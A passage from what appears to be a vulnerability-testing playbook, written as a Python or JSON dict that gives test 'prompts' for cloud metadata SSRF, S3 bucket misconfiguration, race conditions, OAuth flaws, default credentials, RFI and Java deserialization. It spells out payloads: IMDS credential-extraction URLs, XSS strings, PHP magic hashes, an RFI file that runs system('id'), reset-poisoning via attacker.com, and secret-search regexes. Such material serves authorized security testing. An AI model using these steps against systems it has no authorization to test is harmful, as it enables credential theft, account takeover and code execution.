"overview": "Access to cloud instance metadata services (IMDS) via SSRF or misconfigured applications. Test for AWS/GCP/Azure metadata endpoints to extract IAM credentials and instance information.",
|
||
"threat_model": "Attacker accesses cloud metadata service to obtain temporary IAM credentials, which can be used to access other cloud resources (S3 buckets, databases, secrets managers).",
|
||
"discovery": [
|
||
"Via SSRF: url=http://169.254.169.254/latest/meta-data/ (AWS)",
|
||
"Via SSRF: url=http://metadata.google.internal/ (GCP)",
|
||
"Via SSRF: url=http://169.254.169.254/metadata/instance (Azure)",
|
||
"Check if application runs on cloud with IMDSv1 (no token required)"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Cloud Metadata Extraction",
|
||
"prompts": [
|
||
"AWS IMDSv1: http://169.254.169.254/latest/meta-data/iam/security-credentials/ to list roles, then http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name} to get AccessKeyId, SecretAccessKey, Token.",
|
||
"AWS IMDSv2 bypass: PUT http://169.254.169.254/latest/api/token with X-aws-ec2-metadata-token-ttl-seconds: 21600. Use returned token in subsequent requests.",
|
||
"GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (requires Metadata-Flavor: Google header).",
|
||
"Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 (requires Metadata: true header).",
|
||
"Extract user-data/startup scripts: http://169.254.169.254/latest/user-data (often contains secrets, database credentials, API keys).",
|
||
"Verify extracted credentials: use AWS CLI with stolen creds: aws sts get-caller-identity, then enumerate access: aws s3 ls, aws iam list-users."
|
||
],
|
||
"expected_results": ["IAM credentials extracted", "User-data with secrets obtained", "Cloud access via stolen credentials"],
|
||
"decision_tree": {
|
||
"iam_creds_extracted": "CRITICAL - Cloud account compromise possible",
|
||
"user_data_with_secrets": "HIGH - Application secrets exposed",
|
||
"metadata_accessible_no_creds": "MEDIUM - Instance information disclosure",
|
||
"imdsv2_blocks_access": "IMDSv2 token requirement prevents exploitation"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"IMDSv2 bypass: PUT request to get token, then use token",
|
||
"DNS rebinding to bypass IP-based SSRF filters",
|
||
"Alternative metadata IPs: 169.254.169.254, fd00:ec2::254",
|
||
"Header injection to add required metadata headers"
|
||
],
|
||
"verification_checklist": [
|
||
"Extracted credentials are valid (sts get-caller-identity succeeds)",
|
||
"IAM role provides meaningful access (list/read/write cloud resources)",
|
||
"User-data contains actual secrets, not template placeholders",
|
||
"Access confirmed to internal resources via stolen credentials"
|
||
],
|
||
"chain_attacks": ["SSRF → Metadata → IAM creds → S3 data theft → Full cloud compromise", "Metadata → User-data secrets → Database access"],
|
||
"anti_false_positive": [
|
||
"Metadata endpoint returning HTTP 200 without data != exposure",
|
||
"IMDSv2 requiring token may block exploitation — verify token obtainable",
|
||
"Expired/rotated credentials are not exploitable"
|
||
]
|
||
},
|
||
|
||
"s3_bucket_misconfig": {
|
||
"category": "cloud_supply",
|
||
"title": "S3 Bucket / Cloud Storage Misconfiguration",
|
||
"overview": "Cloud storage buckets (AWS S3, GCS, Azure Blob) with overly permissive ACLs allowing public read, write, or list operations. Test for data exposure and unauthorized write access.",
|
||
"threat_model": "Attacker discovers and accesses misconfigured cloud storage containing sensitive data (PII, credentials, backups) or uploads malicious content to publicly writable buckets.",
|
||
"discovery": [
|
||
"Discover buckets: look for S3 URLs in JavaScript, DNS CNAME records, common naming patterns ({company}-{env})",
|
||
"Test listing: aws s3 ls s3://bucket-name --no-sign-request",
|
||
"Test read: wget https://bucket-name.s3.amazonaws.com/",
|
||
"Test write: aws s3 cp test.txt s3://bucket-name/ --no-sign-request"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Bucket Discovery & Permission Testing",
|
||
"prompts": [
|
||
"Enumerate bucket names: try {company}, {company}-backup, {company}-dev, {company}-staging, {company}-assets, {company}-uploads, {company}-data.",
|
||
"Test public listing: curl https://{bucket}.s3.amazonaws.com/?list-type=2. If XML response with <Contents>, bucket is listable.",
|
||
"Test public read: curl https://{bucket}.s3.amazonaws.com/{known-file}. Download accessible files.",
|
||
"Test public write: aws s3 cp test.txt s3://{bucket}/ --no-sign-request. If successful, bucket is writable.",
|
||
"Test ACL: aws s3api get-bucket-acl --bucket {bucket} --no-sign-request. Check for AllUsers or AuthenticatedUsers grants.",
|
||
"For GCS: curl https://storage.googleapis.com/{bucket}/ and for Azure: curl https://{account}.blob.core.windows.net/{container}?restype=container&comp=list."
|
||
],
|
||
"expected_results": ["Bucket listable", "Sensitive files accessible", "Write access confirmed"],
|
||
"decision_tree": {
|
||
"sensitive_data_exposed": "HIGH - PII/credentials in public bucket",
|
||
"public_write": "HIGH - Attacker can upload malicious content",
|
||
"public_list_no_sensitive": "LOW - Bucket listing but no sensitive data",
|
||
"properly_configured": "Bucket permissions correctly set"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"Try with/without AWS authentication (--no-sign-request vs authenticated)",
|
||
"Different regions: us-east-1, eu-west-1, etc.",
|
||
"Path-style vs virtual-hosted-style URLs",
|
||
"Signed URL generation if any credentials are obtained"
|
||
],
|
||
"verification_checklist": [
|
||
"Bucket contents actually accessible (files downloadable)",
|
||
"Sensitive data confirmed in accessible files",
|
||
"Write access verified with test file upload (and cleaned up)",
|
||
"Bucket belongs to the target organization (not a different entity)"
|
||
],
|
||
"chain_attacks": ["S3 misconfiguration → Data theft → Credential reuse", "S3 write access → Serve malicious content via trusted domain"],
|
||
"anti_false_positive": [
|
||
"Public bucket may be intentionally public (static assets, open data)",
|
||
"Must verify bucket belongs to target, not a similarly named third party",
|
||
"Write access to bucket that doesn't serve content = limited impact"
|
||
]
|
||
},
|
||
|
||
# ═══════════════════════════════════════════════════════════
|
||
# CHAPTER 5: ADVANCED & SPECIALIZED (51-70)
|
||
# ═══════════════════════════════════════════════════════════
|
||
|
||
"race_condition": {
|
||
"category": "logic",
|
||
"title": "Race Condition / TOCTOU",
|
||
"overview": "Exploit time-of-check-to-time-of-use gaps in concurrent operations. Send simultaneous requests to trigger double-spending, coupon reuse, or bypass single-use token restrictions.",
|
||
"threat_model": "Attacker sends multiple identical requests simultaneously, exploiting the window between authorization check and action execution to duplicate operations.",
|
||
"discovery": [
|
||
"Identify single-use operations: coupon redemption, money transfer, vote, like",
|
||
"Look for non-atomic database operations",
|
||
"Test with concurrent requests using race condition tools"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Race Condition Exploitation",
|
||
"prompts": [
|
||
"Identify a single-use operation (redeem coupon, transfer funds, use invite code). Send 10-50 identical requests simultaneously using turbo intruder, race-the-web, or curl parallel.",
|
||
"Check results: did the operation execute multiple times? Was money transferred twice? Was the coupon applied more than once?",
|
||
"Test with HTTP/1.1 last-byte sync: hold all requests, send final byte simultaneously for maximum timing precision.",
|
||
"Test with HTTP/2 single-packet attack: send all requests in a single TCP packet for exact synchronization.",
|
||
"Test limit-overrun race conditions: if there's a balance check before deduction, send concurrent requests that each pass the check before any deduction occurs.",
|
||
"Test file upload race conditions: upload file and request it simultaneously before server-side validation/deletion."
|
||
],
|
||
"expected_results": ["Operation executed multiple times", "Limit bypassed via concurrent requests"],
|
||
"decision_tree": {
|
||
"double_spend": "HIGH - Financial impact via race condition",
|
||
"limit_bypass": "MEDIUM - Usage limits circumvented",
|
||
"no_race": "Operations are properly atomic/synchronized"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"HTTP/2 single-packet attack for maximum concurrency",
|
||
"Last-byte synchronization for HTTP/1.1",
|
||
"Connection warming to reduce TCP handshake variance",
|
||
"Multiple simultaneous sessions/tokens",
|
||
"Different parameter encodings per request to avoid dedup"
|
||
],
|
||
"verification_checklist": [
|
||
"Operation actually executed more than allowed times (verify in DB/state)",
|
||
"Financial impact quantified (double spend amount)",
|
||
"Reproducible: works consistently, not just once",
|
||
"Negative control: sequential requests respect limits"
|
||
],
|
||
"chain_attacks": ["Race condition → Double-spend → Financial fraud", "Race condition → Bypass invite/referral limits"],
|
||
"anti_false_positive": [
|
||
"Multiple 200 responses don't prove multiple executions — check actual state",
|
||
"Some applications return success but only process one request",
|
||
"Verify in database/balance that the operation actually occurred multiple times"
|
||
]
|
||
},
|
||
|
||
"parameter_pollution": {
|
||
"category": "logic",
|
||
"title": "HTTP Parameter Pollution (HPP)",
|
||
"overview": "Supply duplicate parameters in HTTP requests. Different web servers and frameworks handle duplicates differently (first, last, concatenate, array), creating logic bypass opportunities.",
|
||
"threat_model": "Attacker supplies duplicate parameters that are processed differently by WAF/frontend and backend, bypassing security controls or manipulating business logic.",
|
||
"discovery": [
|
||
"Test: param=value1¶m=value2",
|
||
"Check which value the application uses (first, last, both, array)",
|
||
"Test WAF bypass via parameter pollution"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "HPP Behavior Mapping",
|
||
"prompts": [
|
||
"Send duplicate parameters: ?search=normal&search=<script>alert(1)</script>. Check which value appears in the response.",
|
||
"Map framework behavior: PHP uses last value, ASP.NET concatenates with comma, Express.js creates array, Python Flask uses first value.",
|
||
"Test WAF bypass: if WAF blocks ?search=<script>alert(1)</script>, try ?search=safe&search=<script>alert(1)</script>. WAF may check first value, app may use last.",
|
||
"Test in POST body: same parameter twice with different values in application/x-www-form-urlencoded.",
|
||
"Test mixed sources: GET param + POST param with same name. Framework may prefer one over the other.",
|
||
"Test with different encodings: ?param=val1¶m=%3Cscript%3E to confuse parameter handling."
|
||
],
|
||
"expected_results": ["Application uses unexpected parameter value", "WAF bypassed via HPP", "Logic manipulated"],
|
||
"decision_tree": {
|
||
"waf_bypass": "HIGH - Security control bypassed via HPP",
|
||
"logic_manipulation": "MEDIUM - Application logic affected",
|
||
"consistent_handling": "HPP not exploitable in this context"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Duplicate params with different values", "Mixed GET+POST params", "Array params: param[]=a¶m[]=b", "Different encodings per duplicate"],
|
||
"verification_checklist": ["Application processes the unexpected parameter value", "WAF bypass confirmed with attack payload", "Business logic affected by parameter confusion"],
|
||
"chain_attacks": ["HPP → WAF bypass → XSS/SQLi", "HPP → Business logic manipulation"],
|
||
"anti_false_positive": ["Must demonstrate actual impact, not just behavior difference", "Duplicate handling alone is not a vulnerability — needs exploitable outcome"]
|
||
},
|
||
|
||
"type_juggling": {
|
||
"category": "logic",
|
||
"title": "Type Juggling / Type Confusion",
|
||
"overview": "Exploit weak type comparison in PHP or JavaScript to bypass authentication or comparison logic. Test with type-confused inputs: 0, null, true, empty array, scientific notation strings.",
|
||
"threat_model": "Attacker provides input that exploits loose comparison operators (PHP == vs ===, JS == vs ===) to bypass password checks, token validation, or conditional logic.",
|
||
"discovery": [
|
||
"Identify PHP or JavaScript comparison operations",
|
||
"Test with: 0, null, true, false, [], {}, '0', '', '0e0'",
|
||
"Look for MD5/hash comparisons vulnerable to magic hashes"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Type Juggling Exploitation",
|
||
"prompts": [
|
||
"PHP loose comparison: if password check uses == instead of ===, password=0 may match string passwords (0 == 'anystring' is true in PHP < 8.0).",
|
||
"Test PHP magic hashes: if app compares MD5 hashes with ==, find input whose MD5 starts with '0e' followed by digits (e.g., MD5('240610708') = '0e462097431906509019562988736854'). 0e... == 0e... evaluates to true (both treated as 0 in scientific notation).",
|
||
"Test JSON type confusion: send {\"password\": true} instead of {\"password\": \"actual_password\"}. In PHP, true == 'anystring' is true.",
|
||
"Test {\"password\": 0}, {\"password\": null}, {\"password\": []}, {\"password\": {}}. Each may bypass different comparison patterns.",
|
||
"JavaScript: test Object type confusion where {} == '[object Object]' or array coercion tricks."
|
||
],
|
||
"expected_results": ["Auth bypass via type juggling", "Token validation bypassed"],
|
||
"decision_tree": {
|
||
"auth_bypassed": "CRITICAL - Authentication bypass via type confusion",
|
||
"token_bypass": "HIGH - Token validation circumvented",
|
||
"no_type_confusion": "Application uses strict comparison"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Integer 0 for password comparison", "Boolean true in JSON for any string comparison", "Magic hashes for MD5/SHA1 comparison", "Null/empty array for existence checks"],
|
||
"verification_checklist": ["Authentication bypassed with type-confused input", "Data comparison: response matches authenticated user data", "Multiple type values tested to confirm pattern"],
|
||
"chain_attacks": ["Type juggling → Auth bypass → Account takeover"],
|
||
"anti_false_positive": ["Must prove auth bypass, not just input acceptance", "PHP 8.0+ fixed many loose comparison issues", "Check PHP version before reporting"]
|
||
},
|
||
|
||
"timing_attack": {
|
||
"category": "logic",
|
||
"title": "Timing Side-Channel Attack",
|
||
"overview": "Exploit measurable time differences in application responses to enumerate valid users, determine correct credentials character-by-character, or identify valid tokens.",
|
||
"threat_model": "Attacker measures response times to distinguish between valid and invalid usernames, determine correct password characters, or identify valid authentication tokens.",
|
||
"discovery": [
|
||
"Measure response times for valid vs invalid usernames",
|
||
"Check if error messages differ for valid/invalid users",
|
||
"Test with high-precision timing (1000+ samples per value)"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Timing Analysis",
|
||
"prompts": [
|
||
"Username enumeration: send login requests with known-valid username vs known-invalid username (same password). Measure response times over 100+ requests. Statistical difference (>10ms consistent) indicates timing leak.",
|
||
"The timing difference occurs because: valid user → hash password → compare. Invalid user → immediate 'not found' (no hashing). The hash computation adds measurable delay.",
|
||
"Token timing: for token/API key validation, compare valid-prefix token vs random token response times. Character-by-character comparison (strcmp) may leak timing.",
|
||
"Use statistical analysis: calculate mean, median, standard deviation for each group. Use t-test or Mann-Whitney U test to confirm statistical significance.",
|
||
"For password character extraction: if application uses character-by-character comparison, each correct character adds a small delay. Requires very high precision and many samples."
|
||
],
|
||
"expected_results": ["Statistically significant timing difference between valid/invalid users"],
|
||
"decision_tree": {
|
||
"user_enumeration": "MEDIUM - Valid users identifiable via timing",
|
||
"token_leak": "HIGH - Token extractable via timing",
|
||
"no_timing_difference": "Constant-time comparison in use"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Parallel timing comparison to reduce noise", "Statistical analysis with 1000+ samples", "Network-local testing for reduced latency variance"],
|
||
"verification_checklist": [
|
||
"Timing difference is statistically significant (p < 0.05)",
|
||
"Result is reproducible across multiple test runs",
|
||
"Network latency variation accounted for",
|
||
"Known-valid vs known-invalid comparison confirmed"
|
||
],
|
||
"chain_attacks": ["Timing → Username enumeration → Password spraying → Account compromise"],
|
||
"anti_false_positive": [
|
||
"Network jitter can create false timing differences",
|
||
"Must use statistical methods, not just a few samples",
|
||
"Server-side caching may affect timing inconsistently"
|
||
]
|
||
},
|
||
|
||
"host_header_injection": {
|
||
"category": "injection",
|
||
"title": "Host Header Injection / Password Reset Poisoning",
|
||
"overview": "Application uses the Host header to generate URLs in emails, redirects, or page content. Manipulate Host header to hijack password reset links, poison caches, or redirect users.",
|
||
"threat_model": "Attacker changes Host header in password reset request. Reset email contains link with attacker's domain. Victim clicks link, reset token sent to attacker, enabling account takeover.",
|
||
"discovery": [
|
||
"Test Host header: change to attacker-controlled domain",
|
||
"Trigger password reset, check if Host is used in reset link",
|
||
"Test X-Forwarded-Host, X-Forwarded-Proto headers"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Password Reset Poisoning",
|
||
"prompts": [
|
||
"Trigger password reset for a target email. Intercept the request and change Host header to attacker.com. Check the password reset email: does the reset link use attacker.com?",
|
||
"If Host header rejected, try: X-Forwarded-Host: attacker.com, X-Host: attacker.com, X-Forwarded-Server: attacker.com.",
|
||
"Try Host header with port: Host: attacker.com:443 or Host: legitimate.com@attacker.com.",
|
||
"Try double Host header: first Host: legitimate.com, second Host: attacker.com. Some frameworks use the second.",
|
||
"Verify the attack: victim receives email with reset link pointing to attacker.com. When victim clicks, reset token is sent to attacker's server."
|
||
],
|
||
"expected_results": ["Reset link contains attacker-controlled domain"],
|
||
"decision_tree": {
|
||
"reset_link_poisoned": "HIGH - Account takeover via password reset",
|
||
"host_reflected_in_page": "MEDIUM - Cache poisoning or phishing",
|
||
"host_not_reflected": "Application uses configured hostname, not Host header"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["X-Forwarded-Host header", "Double Host header", "Port-based bypass: Host: evil.com:443", "@ bypass: Host: legit.com@evil.com"],
|
||
"verification_checklist": [
|
||
"Reset email contains attacker-controlled URL",
|
||
"Reset token is included in the poisoned URL",
|
||
"Victim clicking the link sends token to attacker",
|
||
"Negative control: normal Host produces correct reset link"
|
||
],
|
||
"chain_attacks": ["Host injection → Password reset poisoning → Account takeover"],
|
||
"anti_false_positive": [
|
||
"Host reflected in HTML but not in emails = limited impact",
|
||
"Must verify the reset EMAIL contains the poisoned link",
|
||
"Cache poisoning requires the response to be cached"
|
||
]
|
||
},
|
||
|
||
"oauth_misconfiguration": {
|
||
"category": "authentication",
|
||
"title": "OAuth / OpenID Connect Misconfiguration",
|
||
"overview": "Flaws in OAuth 2.0 / OIDC implementation: open redirect in redirect_uri, token leakage, CSRF in auth flow, implicit flow issues, scope escalation.",
|
||
"threat_model": "Attacker exploits OAuth misconfigurations to steal authorization codes/tokens, hijack accounts via callback manipulation, or escalate OAuth scopes for unauthorized access.",
|
||
"discovery": [
|
||
"Map OAuth endpoints: /authorize, /token, /callback, /redirect",
|
||
"Check redirect_uri validation strictness",
|
||
"Check state parameter usage (CSRF protection)",
|
||
"Identify OAuth flow type: authorization code, implicit, PKCE"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "OAuth Flow Analysis",
|
||
"prompts": [
|
||
"Test redirect_uri bypass: change to attacker.com, add path (redirect_uri=https://legit.com/callback/../../../attacker.com), use subdomain (redirect_uri=https://anything.legit.com/callback), add port (redirect_uri=https://legit.com:8443/callback).",
|
||
"Test state parameter: is it present? Is it random? Can you reuse it? Remove it entirely. If CSRF protection via state is weak, attacker can complete the OAuth flow with victim's session.",
|
||
"Test token leakage: if using implicit flow (response_type=token), token is in URL fragment. If redirect_uri allows open redirect, token leaks to attacker via Referer header.",
|
||
"Test scope escalation: request scope=admin or scope=openid+profile+email+admin. Check if additional scopes are granted.",
|
||
"Test authorization code theft: if redirect_uri validation is loose, redirect auth code to attacker's server. Exchange code for token.",
|
||
"Test PKCE: if PKCE is not enforced, intercept authorization code and exchange without code_verifier."
|
||
],
|
||
"expected_results": ["redirect_uri bypass", "State parameter missing/weak", "Token/code stolen via redirect"],
|
||
"decision_tree": {
|
||
"redirect_uri_bypass": "CRITICAL - OAuth token/code theft possible",
|
||
"no_state_param": "HIGH - CSRF in OAuth flow",
|
||
"scope_escalation": "HIGH - Excessive permissions granted",
|
||
"secure_implementation": "OAuth flow properly secured"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": [
|
||
"redirect_uri: path traversal, subdomain, port, URL encoding",
|
||
"State fixation: set known state, trick victim into using it",
|
||
"Token reuse across different clients",
|
||
"Mix-up attacks: confuse IdP and RP",
|
||
"PKCE downgrade: remove code_challenge"
|
||
],
|
||
"verification_checklist": [
|
||
"Authorization code or token received at attacker-controlled URI",
|
||
"Stolen token grants access to victim's account",
|
||
"State bypass allows CSRF-style account linking",
|
||
"Scope escalation provides additional API access"
|
||
],
|
||
"chain_attacks": ["OAuth redirect_uri bypass → Token theft → Account takeover", "OAuth CSRF → Account linking → Account takeover"],
|
||
"anti_false_positive": [
|
||
"redirect_uri with added path but blocked by server != bypass",
|
||
"Must prove token/code actually received at attacker URI",
|
||
"OAuth login without state is a finding but needs exploitable scenario"
|
||
]
|
||
},
|
||
|
||
"default_credentials": {
|
||
"category": "authentication",
|
||
"title": "Default / Weak Credentials",
|
||
"overview": "Test management interfaces, databases, APIs, and network services for default, common, or weak credentials. Check vendor documentation for default passwords.",
|
||
"threat_model": "Attacker uses default or commonly-known credentials to access administrative interfaces, databases, or APIs that haven't been secured after deployment.",
|
||
"discovery": [
|
||
"Identify management interfaces: admin panels, database consoles, monitoring dashboards",
|
||
"Check technology stack and lookup default credentials",
|
||
"Test common username/password combinations"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Default Credential Testing",
|
||
"prompts": [
|
||
"Test common defaults: admin/admin, admin/password, admin/changeme, root/root, root/toor, administrator/administrator, test/test, guest/guest.",
|
||
"Technology-specific: Tomcat manager/tomcat, Jenkins admin/admin, WordPress admin/admin, phpMyAdmin root/(empty), MongoDB (no auth), Redis (no auth), Elasticsearch (no auth).",
|
||
"Network services: SSH root/root, FTP anonymous/(empty), SNMP public/private, VNC (no password), RDP administrator/(empty).",
|
||
"Database defaults: MySQL root/(empty), PostgreSQL postgres/postgres, MSSQL sa/sa, Oracle system/manager.",
|
||
"Check for password policies: try short passwords, common patterns, username=password, blank passwords.",
|
||
"Test API keys: try common development keys, expired keys that were never rotated, keys found in public GitHub repos."
|
||
],
|
||
"expected_results": ["Login successful with default credentials"],
|
||
"decision_tree": {
|
||
"admin_access": "CRITICAL - Administrative access via default credentials",
|
||
"limited_access": "HIGH - Default credentials on non-admin account",
|
||
"no_defaults_work": "Default credentials properly changed"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Vendor-specific default credential databases", "Technology fingerprinting → targeted credential testing", "Blank password fields", "API keys from public repos"],
|
||
"verification_checklist": ["Login successful and authenticated access confirmed", "Administrative functions actually accessible", "Credentials are defaults, not intentionally weak test accounts"],
|
||
"chain_attacks": ["Default creds → Admin access → Full application/server control"],
|
||
"anti_false_positive": ["Test/demo environments may intentionally use weak credentials", "Confirm this is a production or staging system, not a demo", "Verify the credentials are defaults, not intentionally set"]
|
||
},
|
||
|
||
"information_disclosure": {
|
||
"category": "data_exposure",
|
||
"title": "Information Disclosure via Error Messages / Debug Pages",
|
||
"overview": "Application reveals internal information through verbose error messages, debug pages, stack traces, or API responses. Test for technology disclosure, internal paths, and configuration details.",
|
||
"threat_model": "Internal information aids further attacks: technology versions identify specific CVEs, internal paths help path traversal, database errors confirm SQLi, stack traces reveal code logic.",
|
||
"discovery": [
|
||
"Trigger errors: send invalid input, missing parameters, wrong types",
|
||
"Check for debug endpoints: /debug, /phpinfo.php, /actuator, /elmah",
|
||
"Check 404/500 error pages for technology details"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Information Gathering via Errors",
|
||
"prompts": [
|
||
"Send malformed requests to every endpoint: wrong data type, missing required fields, extremely long strings, special characters. Analyze error responses for internal details.",
|
||
"Check error pages: send request to non-existent endpoint and analyze the 404 page. Check 500 errors for stack traces, file paths, and framework versions.",
|
||
"Check response headers: Server, X-Powered-By, X-AspNet-Version, X-Generator, X-Drupal-Cache, X-PHP-Version.",
|
||
"Check for Spring Boot Actuator: /actuator/env, /actuator/health, /actuator/info, /actuator/heapdump, /actuator/configprops, /actuator/mappings.",
|
||
"Check for PHP info: /phpinfo.php, /info.php, /test.php, /php_info.php. Full phpinfo page reveals server config, modules, environment variables.",
|
||
"Check HTML source for comments revealing internal info: developer notes, TODO items, internal URLs, credentials."
|
||
],
|
||
"expected_results": ["Stack traces with file paths", "Technology versions revealed", "Debug endpoints accessible"],
|
||
"decision_tree": {
|
||
"credentials_in_errors": "HIGH - Secrets exposed via error/debug",
|
||
"debug_endpoints": "MEDIUM-HIGH - Internal config/state exposed",
|
||
"stack_traces": "LOW-MEDIUM - Internal paths and framework details",
|
||
"version_only": "LOW - Technology fingerprinting information"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Different HTTP methods trigger different errors", "Invalid Content-Type triggers parsing errors", "Large payloads trigger memory/size errors"],
|
||
"verification_checklist": ["Information is genuinely internal (not public documentation)", "Details aid further attacks (specific CVE, valid paths)", "Debug endpoints expose sensitive configuration"],
|
||
"chain_attacks": ["Info disclosure → Technology version → CVE exploitation", "Stack trace → File paths → LFI targeting"],
|
||
"anti_false_positive": ["Technology version in production is informational, not critical", "Public API documentation is not information disclosure", "Test data in responses may be intentional"]
|
||
},
|
||
|
||
"api_key_exposure": {
|
||
"category": "data_exposure",
|
||
"title": "API Key / Secret Exposure",
|
||
"overview": "Hardcoded API keys, secrets, tokens, or credentials exposed in client-side code, public repositories, or API responses. Test JavaScript bundles, HTML source, and commit history.",
|
||
"threat_model": "Exposed API keys enable: cloud service abuse (AWS, GCP, Azure), third-party API access (Stripe, Twilio, SendGrid), data access (database credentials), and service impersonation.",
|
||
"discovery": [
|
||
"Search JavaScript files for: api_key, apiKey, secret, token, password, aws_access_key",
|
||
"Check HTML source comments and hidden inputs",
|
||
"Check .git/config, .env, config files accessible via web",
|
||
"Check public GitHub repos for accidentally committed secrets"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Secret Discovery & Validation",
|
||
"prompts": [
|
||
"Search all JavaScript files for patterns: /['\"]?(api[_-]?key|secret|token|password|credential|auth)['\"]?\\s*[:=]\\s*['\"][^'\"]+/i.",
|
||
"Check for AWS keys: AKIA[A-Z0-9]{16} (Access Key ID), [A-Za-z0-9/+=]{40} (Secret Key).",
|
||
"Check for other cloud keys: GCP service account JSON, Azure subscription key, DigitalOcean token.",
|
||
"Check for payment keys: Stripe sk_live_*, PayPal credentials, payment processor secrets.",
|
||
"Validate found keys: AWS → aws sts get-caller-identity, GCP → gcloud auth activate-service-account, Stripe → curl with key.",
|
||
"Check Git history: git log --all -p | grep -i 'password\\|secret\\|key\\|token'. Secrets may have been committed then removed.",
|
||
"Check environment variables via SSRF/LFI: /proc/self/environ, .env files."
|
||
],
|
||
"expected_results": ["API keys found in client code", "Secrets valid and usable"],
|
||
"decision_tree": {
|
||
"valid_cloud_creds": "CRITICAL - Cloud account access via exposed keys",
|
||
"valid_payment_keys": "CRITICAL - Financial service access",
|
||
"valid_api_keys": "HIGH - Third-party service abuse possible",
|
||
"expired_or_revoked": "LOW - Previously exposed but currently invalid"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Check JavaScript source maps (.map files) for unminified code", "Check webpack/vite manifest for entry points", "Search Git history for removed secrets", "Check environment variable endpoints"],
|
||
"verification_checklist": ["Key/secret actually works (API call succeeds)", "Key provides meaningful access (not just public tier)", "Key belongs to the target organization", "Impact assessed: what can be done with this key?"],
|
||
"chain_attacks": ["API key → Cloud access → Data theft", "API key → Service impersonation → Phishing", "Database creds → Data exfiltration"],
|
||
"anti_false_positive": ["Public/demo API keys are not sensitive", "Verify key is actually valid before reporting", "Frontend API keys with restricted CORS/referrer may be intentional"]
|
||
},
|
||
|
||
"rfi": {
|
||
"category": "file_access",
|
||
"title": "Remote File Inclusion (RFI)",
|
||
"overview": "Application includes remote files based on user-controlled URL. Test file inclusion parameters with external URLs to include attacker-controlled code for RCE.",
|
||
"threat_model": "Attacker specifies a URL to an attacker-controlled file that gets included and executed by the server. Common in PHP applications with allow_url_include enabled.",
|
||
"discovery": [
|
||
"Look for file inclusion parameters: page=, file=, include=, template=",
|
||
"Test with external URL: page=http://attacker.com/shell.txt",
|
||
"Check if PHP allow_url_include is enabled"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "RFI Detection & Exploitation",
|
||
"prompts": [
|
||
"Test with external URL: page=http://attacker.com/test.txt where test.txt contains unique canary text. If canary appears in response, basic RFI confirmed.",
|
||
"Test with PHP code: host a file containing <?php echo 'RFI_TEST'; system('id'); ?> on attacker server. If RFI_TEST and command output appear, RCE via RFI confirmed.",
|
||
"If http:// blocked, try: https://, ftp://, data://text/plain;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==.",
|
||
"Test null byte truncation: page=http://attacker.com/shell.txt%00 to bypass extension append.",
|
||
"Check for partial RFI: can include files from specific allowed domains? Try finding a user-controllable file on an allowed domain."
|
||
],
|
||
"expected_results": ["External file included in response", "PHP code executed from remote file"],
|
||
"decision_tree": {
|
||
"rce_via_rfi": "CRITICAL - Remote code execution via file inclusion",
|
||
"content_inclusion": "HIGH - External content rendered in application",
|
||
"protocol_limited": "Try alternative protocols",
|
||
"not_vulnerable": "File inclusion validates/restricts URLs"
|
||
}
|
||
}
|
||
],
|
||
"bypass_strategies": ["Protocol alternatives: https, ftp, data, expect", "Null byte truncation", "URL encoding of protocol", "Wrapper chains", "Allowed-domain file controllable by attacker"],
|
||
"verification_checklist": ["Remote file content appears in application response", "PHP/server code executes (not just text inclusion)", "External URL is attacker-controlled", "Negative control: invalid URL returns error"],
|
||
"chain_attacks": ["RFI → Web shell → RCE → Full compromise"],
|
||
"anti_false_positive": ["Content reflected but not executed = HTML injection, not RFI", "Must prove server-side code execution from remote file", "PHP allow_url_include may be disabled by default"]
|
||
},
|
||
|
||
"deserialization_java": {
|
||
"category": "injection",
|
||
"title": "Java Deserialization (ysoserial / gadget chains)",
|
||
"overview": "Java-specific deserialization attacks targeting ObjectInputStream with known gadget chains. Identify serialized Java objects (magic bytes rO0AB/aced0005) and exploit with ysoserial payloads.",
|
||
"threat_model": "Attacker submits crafted Java serialized objects that trigger known gadget chains in server-side libraries, leading to remote code execution.",
|
||
"discovery": [
|
||
"Look for rO0AB (base64) or aced0005 (hex) in parameters, cookies, JMX, RMI",
|
||
"Check for Java frameworks that use serialization: JBoss, WebLogic, Jenkins, JMX",
|
||
"Test ViewState in .NET (similar concept, different implementation)"
|
||
],
|
||
"test_phases": [
|
||
{
|
||
"phase": 1,
|
||
"name": "Java Deserialization Exploitation",
|
||
"prompts": [
|
||
"Identify serialized Java data: look for rO0AB (base64 of \\xac\\xed\\x00\\x05) in cookies, headers, POST body, or URL parameters.",
|
||
